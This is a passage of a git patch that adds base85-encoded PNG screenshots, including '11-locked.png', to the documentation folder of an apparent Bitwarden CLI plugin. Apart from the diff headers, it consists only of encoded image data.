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 literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/11-locked.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/11-locked.png new file mode 100644 index 0000000000000000000000000000000000000000..1a49beb708769a3cb3eef0779a83db4a7682d24e GIT binary patch literal 43046 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 